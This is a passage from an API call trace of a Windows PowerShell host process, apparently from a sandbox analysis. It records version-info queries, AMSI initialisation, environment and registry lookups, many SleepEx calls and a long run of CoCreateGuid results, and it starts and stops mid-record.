lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x0, puLen=0x760f3dc) returned 0 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x760f3d4, puLen=0x760f3d0 | out: lplpBuffer=0x760f3d4*=0x5086fe8, puLen=0x760f3d0) returned 1 [0203.140] VerLanguageNameW (in: wLang=0x409, szLang=0x760f164, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0203.141] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\", lplpBuffer=0x760f3e4, puLen=0x760f3e0 | out: lplpBuffer=0x760f3e4*=0x5086c80, puLen=0x760f3e0) returned 1 [0203.305] AmsiInitialize () returned 0x0 [0208.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x760eb70, nSize=0x80 | out: lpBuffer="ი؉ܯ閹狊ݠݠ\x01") returned 0x0 [0208.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x760eb70, nSize=0x80 | out: lpBuffer="က瀦˳") returned 0x0 [0210.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.223] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.278] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.290] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.488] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.846] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.980] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.007] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.028] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.146] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.280] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.295] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.321] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.374] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.436] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.768] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.781] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.840] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0211.859] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.073] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.353] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.440] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.641] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0212.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.252] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.373] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.444] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.688] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.238] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x760f28c | out: phkResult=0x760f28c*=0x6a4) returned 0x0 [0214.408] RegQueryValueExW (in: hKey=0x6a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x760f2ac, lpData=0x0, lpcbData=0x760f2a8*=0x0 | out: lpType=0x760f2ac*=0x1, lpData=0x0, lpcbData=0x760f2a8*=0x56) returned 0x0 [0214.408] RegQueryValueExW (in: hKey=0x6a4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x760f2ac, lpData=0x5152b98, lpcbData=0x760f2a8*=0x56 | out: lpType=0x760f2ac*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x760f2a8*=0x56) returned 0x0 [0214.408] RegCloseKey (hKey=0x6a4) returned 0x0 [0215.051] GetTimeZoneInformation (in: lpTimeZoneInformation=0x760f05c | out: lpTimeZoneInformation=0x760f05c) returned 0x2 [0215.055] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x760e8d0, nSize=0x80 | out: lpBuffer="က溕က溕") returned 0x0 [0215.056] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9bb268f9, Data2=0x9e8a, Data3=0x44b6, Data4=([0]=0xb4, [1]=0x2c, [2]=0x1d, [3]=0x2, [4]=0xc9, [5]=0xda, [6]=0xb6, [7]=0x6c))) returned 0x0 [0215.270] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x389f8eb1, Data2=0x7f99, Data3=0x489c, Data4=([0]=0xbd, [1]=0x3b, [2]=0xc2, [3]=0xc4, [4]=0x5, [5]=0x9d, [6]=0x69, [7]=0xe6))) returned 0x0 [0215.276] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x596b2e7b, Data2=0x8a59, Data3=0x4f3a, Data4=([0]=0xb6, [1]=0x1c, [2]=0xe4, [3]=0xdb, [4]=0x64, [5]=0x1f, [6]=0xa7, [7]=0xb6))) returned 0x0 [0215.279] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf99e1500, Data2=0xd517, Data3=0x4c9e, Data4=([0]=0x8a, [1]=0x9f, [2]=0x90, [3]=0xcb, [4]=0x94, [5]=0xcb, [6]=0xd1, [7]=0xd8))) returned 0x0 [0215.355] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1c83bf50, Data2=0x58fa, Data3=0x4db3, Data4=([0]=0xa8, [1]=0x4d, [2]=0x5e, [3]=0x2, [4]=0x4c, [5]=0x56, [6]=0x31, [7]=0xb8))) returned 0x0 [0215.358] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf058cb35, Data2=0xe9dd, Data3=0x411d, Data4=([0]=0x88, [1]=0x18, [2]=0x7a, [3]=0x9d, [4]=0xd7, [5]=0x2e, [6]=0xf0, [7]=0x55))) returned 0x0 [0215.364] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xac430a47, Data2=0xba1a, Data3=0x4ee4, Data4=([0]=0xb6, [1]=0x9f, [2]=0x4, [3]=0x82, [4]=0xa5, [5]=0x41, [6]=0xdc, [7]=0x15))) returned 0x0 [0215.378] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc3318a09, Data2=0x7baf, Data3=0x4720, Data4=([0]=0x98, [1]=0xe7, [2]=0x2d, [3]=0x30, [4]=0x3e, [5]=0x64, [6]=0x8b, [7]=0x31))) returned 0x0 [0215.385] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x371a1bb3, Data2=0x9cbd, Data3=0x41e7, Data4=([0]=0xac, [1]=0x11, [2]=0xa4, [3]=0x78, [4]=0x97, [5]=0x65, [6]=0x1e, [7]=0xa2))) returned 0x0 [0215.386] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb7639dee, Data2=0xe207, Data3=0x4373, Data4=([0]=0xba, [1]=0xea, [2]=0xe3, [3]=0x1f, [4]=0x97, [5]=0x5e, [6]=0x3c, [7]=0x40))) returned 0x0 [0215.580] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xdd35a72e, Data2=0xb713, Data3=0x4062, Data4=([0]=0x94, [1]=0x28, [2]=0x49, [3]=0x93, [4]=0x40, [5]=0x8d, [6]=0x46, [7]=0x5b))) returned 0x0 [0215.585] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2ce832a2, Data2=0x785b, Data3=0x45b7, Data4=([0]=0xab, [1]=0xd6, [2]=0xf5, [3]=0x8b, [4]=0x75, [5]=0xcd, [6]=0x2d, [7]=0x18))) returned 0x0 [0215.594] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x83488812, Data2=0x398f, Data3=0x46fa, Data4=([0]=0x92, [1]=0x4c, [2]=0xc4, [3]=0x20, [4]=0x91, [5]=0x74, [6]=0xcb, [7]=0xd))) returned 0x0 [0215.594] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1e41b08b, Data2=0x9e1f, Data3=0x4be8, Data4=([0]=0xbe, [1]=0x34, [2]=0x4d, [3]=0x81, [4]=0x64, [5]=0x40, [6]=0x69, [7]=0x62))) returned 0x0 [0215.600] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x45b8cdc9, Data2=0xba6c, Data3=0x4e97, Data4=([0]=0xb4, [1]=0x31, [2]=0xce, [3]=0xfa, [4]=0x22, [5]=0x4f, [6]=0x7b, [7]=0xc3))) returned 0x0 [0215.601] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb1c5aa49, Data2=0xd30e, Data3=0x4ed6, Data4=([0]=0x9f, [1]=0xf7, [2]=0x2e, [3]=0x7a, [4]=0xb7, [5]=0x2b, [6]=0x1e, [7]=0xee))) returned 0x0 [0215.608] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x99216256, Data2=0xcd36, Data3=0x4dde, Data4=([0]=0x81, [1]=0x8, [2]=0x48, [3]=0xb2, [4]=0x87, [5]=0x4c, [6]=0x95, [7]=0xba))) returned 0x0 [0215.608] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa82a61c9, Data2=0x25a0, Data3=0x4431, Data4=([0]=0xb4, [1]=0x9b, [2]=0xd4, [3]=0xa9, [4]=0x4, [5]=0x3a, [6]=0x4b, [7]=0x2c))) returned 0x0 [0215.614] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf5fc6d64, Data2=0xfbf1, Data3=0x4ecb, Data4=([0]=0x95, [1]=0x44, [2]=0x9f, [3]=0x6d, [4]=0x8, [5]=0x8a, [6]=0x5f, [7]=0x6c))) returned 0x0 [0215.619] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x5d7b9b2b, Data2=0x3382, Data3=0x4efe, Data4=([0]=0x9e, [1]=0x1e, [2]=0x1d, [3]=0xce, [4]=0xda, [5]=0xe0, [6]=0x56, [7]=0x17))) returned 0x0 [0215.797] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xabc43501, Data2=0x368e, Data3=0x4df8, Data4=([0]=0xae, [1]=0xa4, [2]=0xa7, [3]=0x92, [4]=0x9e, [5]=0xad, [6]=0x41, [7]=0xdc))) returned 0x0 [0215.908] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x57310250, Data2=0x5554, Data3=0x4ea8, Data4=([0]=0xa3, [1]=0xba, [2]=0x3e, [3]=0x2, [4]=0xfe, [5]=0xbf, [6]=0xce, [7]=0x31))) returned 0x0 [0215.913] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf4cd3a8b, Data2=0x1330, Data3=0x449a, Data4=([0]=0x8e, [1]=0x2d, [2]=0xc0, [3]=0x13, [4]=0x3, [5]=0xf4, [6]=0x62, [7]=0x2c))) returned 0x0 [0215.919] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x5b757f12, Data2=0xd296, Data3=0x49df, Data4=([0]=0x89, [1]=0x6e, [2]=0x4d, [3]=0x58, [4]=0x81, [5]=0xc9, [6]=0xf7, [7]=0x12))) returned 0x0 [0215.920] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe1be0451, Data2=0xfa84, Data3=0x4768, Data4=([0]=0xa7, [1]=0x5e, [2]=0x5e, [3]=0x40, [4]=0x2b, [5]=0x67, [6]=0x38, [7]=0x25))) returned 0x0 [0215.920] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa4be9bfe, Data2=0x14b1, Data3=0x405d, Data4=([0]=0x94, [1]=0x51, [2]=0x3e, [3]=0x95, [4]=0xfd, [5]=0x5f, [6]=0x90, [7]=0xf9))) returned 0x0 [0215.921] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb027e980, Data2=0xd592, Data3=0x4c76, Data4=([0]=0xb4, [1]=0x70, [2]=0x4c, [3]=0x29, [4]=0x19, [5]=0x67, [6]=0xb, [7]=0xda))) returned 0x0 [0215.928] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc5127536, Data2=0xebda, Data3=0x46fb, Data4=([0]=0x82, [1]=0x9a, [2]=0x65, [3]=0x6e, [4]=0x78, [5]=0x3b, [6]=0x44, [7]=0x15))) returned 0x0 [0215.933] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf82adb39, Data2=0xa425, Data3=0x421a, Data4=([0]=0xa3, [1]=0x1d, [2]=0x3, [3]=0x86, [4]=0x76, [5]=0xf3, [6]=0x6e, [7]=0xaf))) returned 0x0 [0215.939] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x361da90, Data2=0x8445, Data3=0x4911, Data4=([0]=0x9b, [1]=0x81, [2]=0x4d, [3]=0x3c, [4]=0x51, [5]=0x6b, [6]=0x71, [7]=0xe0))) returned 0x0 [0215.940] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe42708b5, Data2=0xee10, Data3=0x40de, Data4=([0]=0x8c, [1]=0xf2, [2]=0x68, [3]=0xe8, [4]=0xe2, [5]=0x85, [6]=0x9c, [7]=0xd2))) returned 0x0 [0215.948] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x6f76d511, Data2=0xf9b9, Data3=0x4f30, Data4=([0]=0xa7, [1]=0x13, [2]=0x13, [3]=0x14, [4]=0xbe, [5]=0x5a, [6]=0xf8, [7]=0xd2))) returned 0x0 [0215.948] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xae443ab5, Data2=0xf667, Data3=0x4b12, Data4=([0]=0x9b, [1]=0x6c, [2]=0x6, [3]=0xfc, [4]=0xa0, [5]=0x0, [6]=0xba, [7]=0x41))) returned 0x0 [0216.151] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf0d1e698, Data2=0xcc8b, Data3=0x4a55, Data4=([0]=0xac, [1]=0x6, [2]=0xaa, [3]=0x80, [4]=0x77, [5]=0x7b, [6]=0x96, [7]=0xab))) returned 0x0 [0216.152] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x34853dc0, Data2=0x390b, Data3=0x4ee6, Data4=([0]=0x89, [1]=0x24, [2]=0x81, [3]=0x30, [4]=0x9c, [5]=0x4b, [6]=0x1e, [7]=0xd8))) returned 0x0 [0216.152] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x93ec6205, Data2=0xc992, Data3=0x4a6a, Data4=([0]=0x95, [1]=0x25, [2]=0x3a, [3]=0xb9, [4]=0xce, [5]=0xea, [6]=0x3, [7]=0xac))) returned 0x0 [0216.160] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9f7b3271, Data2=0xcfa, Data3=0x4aaa, Data4=([0]=0xae, [1]=0xed, [2]=0x88, [3]=0xfc, [4]=0xd, [5]=0xd5, [6]=0xc2, [7]=0xe0))) returned 0x0 [0216.166] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1026672c, Data2=0x5c99, Data3=0x47d4, Data4=([0]=0xab, [1]=0x65, [2]=0x6a, [3]=0x1a, [4]=0xbc, [5]=0x78, [6]=0x98, [7]=0x53))) returned 0x0 [0216.171] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9bee7911, Data2=0x8879, Data3=0x4237, Data4=([0]=0xb7, [1]=0x5, [2]=0x2d, [3]=0xab, [4]=0x41, [5]=0x8c, [6]=0xf0, [7]=0xe0))) returned 0x0 [0216.171] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4675a5c0, Data2=0x29ea, Data3=0x432a, Data4=([0]=0xa2, [1]=0x75, [2]=0x6d, [3]=0x97, [4]=0x51, [5]=0x11, [6]=0x65, [7]=0xb0))) returned 0x0 [0216.177] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa4c8be1, Data2=0x1ba5, Data3=0x4b6d, Data4=([0]=0x9f, [1]=0x1d, [2]=0xcc, [3]=0x3b, [4]=0x46, [5]=0x3, [6]=0xf4, [7]=0x9f))) returned 0x0 [0216.182] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xba740861, Data2=0xdb9b, Data3=0x4140, Data4=([0]=0x97, [1]=0x95, [2]=0xf2, [3]=0x36, [4]=0x11, [5]=0x92, [6]=0xe3, [7]=0xba))) returned 0x0 [0216.330] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb55e8125, Data2=0xa22, Data3=0x46be, Data4=([0]=0x9f, [1]=0xdc, [2]=0xd1, [3]=0xe3, [4]=0x5d, [5]=0x2c, [6]=0x38, [7]=0x19))) returned 0x0 [0216.337] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x99d8bd11, Data2=0xae5f, Data3=0x4bce, Data4=([0]=0xa5, [1]=0x8e, [2]=0x7e, [3]=0x59, [4]=0x96, [5]=0x74, [6]=0x3, [7]=0xed))) returned 0x0 [0216.343] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9a05efcf, Data2=0x601f, Data3=0x49a6, Data4=([0]=0x84, [1]=0x59, [2]=0x78, [3]=0xa3, [4]=0xa6, [5]=0x27, [6]=0x25, [7]=0xb0))) returned 0x0 [0216.348] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x79004a67, Data2=0xf381, Data3=0x41a1, Data4=([0]=0x88, [1]=0x1, [2]=0x19, [3]=0xc4, [4]=0x91, [5]=0x9c, [6]=0xd1, [7]=0x15))) returned 0x0 [0216.356] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x51fd37fe, Data2=0x7798, Data3=0x471c, Data4=([0]=0x8b, [1]=0x59, [2]=0x55, [3]=0xf5, [4]=0x5, [5]=0xf5, [6]=0x31, [7]=0xb2))) returned 0x0 [0216.360] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4972d4a0, Data2=0x2599, Data3=0x44d2, Data4=([0]=0xb7, [1]=0x21, [2]=0x9e, [3]=0x5e, [4]=0xeb, [5]=0xe, [6]=0x51, [7]=0x13))) returned 0x0 [0216.365] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x35d377c6, Data2=0x2da4, Data3=0x4028, Data4=([0]=0x87, [1]=0x5d, [2]=0x72, [3]=0x72, [4]=0x83, [5]=0x11, [6]=0x9e, [7]=0xe6))) returned 0x0 [0216.370] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x8a7d3a0c, Data2=0xa4c5, Data3=0x4657, Data4=([0]=0x89, [1]=0x8c, [2]=0x8c, [3]=0x8d, [4]=0x21, [5]=0x9a, [6]=0x3a, [7]=0x61))) returned 0x0 [0216.621] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa9de93a8, Data2=0x3061, Data3=0x437d, Data4=([0]=0x93, [1]=0x83, [2]=0xba, [3]=0xc0, [4]=0x9b, [5]=0x45, [6]=0xc8, [7]=0x17))) returned 0x0 [0216.628] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9cf433e4, Data2=0x93f0, Data3=0x4511, Data4=([0]=0x92, [1]=0xb2, [2]=0x6f, [3]=0x93, [4]=0x72, [5]=0xe6, [6]=0xee, [7]=0xd4))) returned 0x0 [0216.635] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa54a1f8e, Data2=0x5f46, Data3=0x401f, Data4=([0]=0x85, [1]=0xf2, [2]=0x29, [3]=0xaf, [4]=0x95, [5]=0x45, [6]=0x4d, [7]=0x52))) returned 0x0 [0216.705] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x7ca128cc, Data2=0xe6d4, Data3=0x4737, Data4=([0]=0xbe, [1]=0xd8, [2]=0x37, [3]=0x4e, [4]=0x73, [5]=0x9c, [6]=0x49, [7]=0xd2))) returned 0x0 [0216.711] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x519833ad, Data2=0x696d, Data3=0x45b7, Data4=([0]=0xae, [1]=0x60, [2]=0xf0, [3]=0x56, [4]=0x1f, [5]=0x90, [6]=0x82, [7]=0xb6))) returned 0x0 [0216.718] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xdfb59374, Data2=0x2702, Data3=0x4d20, Data4=([0]=0xbf, [1]=0xfd, [2]=0x2, [3]=0xf4, [4]=0x5e, [5]=0x55, [6]=0xf, [7]=0xf2))) returned 0x0 [0216.991] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa3ca16fb, Data2=0xdd99, Data3=0x46ff, Data4=([0]=0xaa, [1]=0x8b, [2]=0x5a, [3]=0xe4, [4]=0xa6, [5]=0xc7, [6]=0xbf, [7]=0x92))) returned 0x0 [0216.995] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4f0dc52c, Data2=0xe696, Data3=0x4625, Data4=([0]=0x9e, [1]=0x3d, [2]=0x57, [3]=0x28, [4]=0x70, [5]=0x99, [6]=0x50, [7]=0x6c))) returned 0x0 [0217.002] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x59b04871, Data2=0x5e85, Data3=0x449e, Data4=([0]=0x84, [1]=0x3c, [2]=0xb2, [3]=0x7, [4]=0x58, [5]=0x8f, [6]=0x7e, [7]=0xc1))) returned 0x0 [0217.006] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9df4a9ea, Data2=0x1638, Data3=0x4ff4, Data4=([0]=0x91, [1]=0xc5, [2]=0xce, [3]=0xf8, [4]=0xeb, [5]=0x9c, [6]=0x46, [7]=0xb))) returned 0x0 [0217.012] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2bcaa758, Data2=0x80b7, Data3=0x45d5, Data4=([0]=0xa9, [1]=0xfc, [2]=0xbf, [3]=0x3a, [4]=0x36, [5]=0x20, [6]=0x36, [7]=0xec))) returned 0x0 [0217.020] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd380f297, Data2=0x663f, Data3=0x4cd3, Data4=([0]=0xa3, [1]=0xed, [2]=0xc1, [3]=0xac, [4]=0x7, [5]=0xc7, [6]=0xf4, [7]=0xa2))) returned 0x0 [0217.274] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x4bb64ce5, Data2=0xfebb, Data3=0x4dee, Data4=([0]=0xb5, [1]=0xcf, [2]=0x9c, [3]=0xc4, [4]=0x48, [5]=0xd7, [6]=0xe6, [7]=0x9d))) returned 0x0 [0217.283] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x47a4efe0, Data2=0xd66e, Data3=0x4853, Data4=([0]=0x8e, [1]=0x73, [2]=0x91, [3]=0x85, [4]=0xe, [5]=0x56, [6]=0x5a, [7]=0x94))) returned 0x0 [0217.288] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd721df8, Data2=0x858e, Data3=0x4da2, Data4=([0]=0xb4, [1]=0x81, [2]=0xd4, [3]=0x84, [4]=0x8f, [5]=0x30, [6]=0x0, [7]=0xb2))) returned 0x0 [0217.292] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xf79da7a, Data2=0x7103, Data3=0x4697, Data4=([0]=0xb8, [1]=0x29, [2]=0xd8, [3]=0x8c, [4]=0xff, [5]=0x63, [6]=0x38, [7]=0x14))) returned 0x0 [0217.361] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x49ca6a05, Data2=0x5490, Data3=0x4363, Data4=([0]=0x90, [1]=0x95, [2]=0xc8, [3]=0xa, [4]=0x85, [5]=0x8b, [6]=0xff, [7]=0x11))) returned 0x0 [0217.369] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x3017a50c, Data2=0x1329, Data3=0x4936, Data4=([0]=0x96, [1]=0x6d, [2]=0xec, [3]=0x81, [4]=0x3c, [5]=0x31, [6]=0x4a, [7]=0x2d))) returned 0x0 [0217.377] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa110f4da, Data2=0x58fd, Data3=0x4496, Data4=([0]=0x8e, [1]=0xa4, [2]=0x81, [3]=0xb, [4]=0xdc, [5]=0xe0, [6]=0xb1, [7]=0x2b))) returned 0x0 [0217.385] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x70a900c7, Data2=0x9186, Data3=0x47c3, Data4=([0]=0x9b, [1]=0x5e, [2]=0x9, [3]=0xd1, [4]=0x95, [5]=0xdf, [6]=0x8e, [7]=0x8f))) returned 0x0 [0217.393] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x9fcbd53f, Data2=0x1839, Data3=0x407d, Data4=([0]=0xb8, [1]=0xf2, [2]=0x1d, [3]=0x3e, [4]=0x16, [5]=0xb, [6]=0x69, [7]=0x1e))) returned 0x0 [0217.398] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xa2fb87e0, Data2=0xa78e, Data3=0x4497, Data4=([0]=0xa9, [1]=0xb, [2]=0xa1, [3]=0xaf, [4]=0xb8, [5]=0x69, [6]=0xfa, [7]=0x7f))) returned 0x0 [0217.627] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x71535345, Data2=0x310, Data3=0x4ed5, Data4=([0]=0x98, [1]=0xbf, [2]=0x3, [3]=0x48, [4]=0x5, [5]=0x4f, [6]=0xb6, [7]=0xa4))) returned 0x0 [0217.633] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x2b9dd801, Data2=0x3733, Data3=0x441d, Data4=([0]=0x89, [1]=0xd, [2]=0xfe, [3]=0xa1, [4]=0x3f, [5]=0x4b, [6]=0xe2, [7]=0xb4))) returned 0x0 [0217.701] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xcd85922a, Data2=0x4478, Data3=0x49ce, Data4=([0]=0x8d, [1]=0x58, [2]=0xb7, [3]=0x55, [4]=0xf3, [5]=0xf5, [6]=0x37, [7]=0xb0))) returned 0x0 [0217.707] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x1d241c6b, Data2=0x2fe1, Data3=0x4077, Data4=([0]=0xa5, [1]=0xaa, [2]=0x3d, [3]=0x31, [4]=0x93, [5]=0x8, [6]=0xe6, [7]=0x7f))) returned 0x0 [0217.714] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe741cb22, Data2=0x4434, Data3=0x4aa0, Data4=([0]=0xb9, [1]=0x60, [2]=0x43, [3]=0xf0, [4]=0x9a, [5]=0xdf, 